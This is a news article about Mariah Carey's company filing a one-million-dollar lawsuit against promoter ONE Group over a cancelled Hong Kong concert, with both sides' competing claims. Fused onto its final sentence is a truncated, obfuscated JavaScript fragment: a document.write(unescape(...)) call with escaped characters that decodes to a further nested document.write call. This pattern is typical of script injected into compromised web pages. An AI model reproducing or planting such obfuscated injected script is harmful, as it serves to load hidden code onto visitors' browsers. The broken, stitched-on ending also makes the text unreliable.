Mariah Carey sues promoter

Mariah Carey's production company has filed a one million dollar lawsuit against an Asia-based concert promoter for unpaid fees and reimbursements for expenses relating to a cancelled Hong Kong show.

The suit alleges that the US pop diva was "greatly looking forward" to performing in the territory, but was forced to cancel the show when promoter ONE Group Investments Private Limited "breached its contractual obligations".

"Regretfully, Ms Carey's production company has been forced to bring legal action to vindicate its rights," the company's Los Angeles-based lawyers Gibson, Dunn and Crutcher said in a statement.

"This is an open-and-shut case for Mariah's company and we are confident that the company will prevail," said the singer's attorney, Orin Snyder.

ONE Group's chief executive Adrian Hobbs hit back, saying:

"We received no reply to get our money back and we would love for the matter to go to court and the facts (to) come out and clearly she had savings by not coming.

"We would not presume to tell the court an outcome. This is a matter for the court, not arrogant assumptions... ONE Group is confident that we would prevail and they would be ordered to return money paid," Hobbs added, without saying whether he had taken any legal action.

Carey's concert was cancelled two days before it was due to take place on October 28 after her management company, Handprint Entertainment, and ONE Group pulled the plug, with each blaming the other for mishandling the event.

The promoter blamed poor ticket sales, claiming that just 4,000 of at least 10,000 had been sold, and also Handprint's last-minute "wholly unreasonable" demands.

Handprint at the time blamed One Group for failing to pay outstanding production and artists' fees.

While neither company has disclosed any financial details of the contract, a source close to the matter said the singer had been paid 400,000 dollars in advance and agreed expense payment at 100,000 dollars.

Carey had been booked to play on a harbourside site that hosts occasional outdoor events. Production crews had already begun building the stage when the announcement came.

Carey's cancellation follows the axing of a show by British pop singer Robbie Williams on November 10 due to poor health.document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;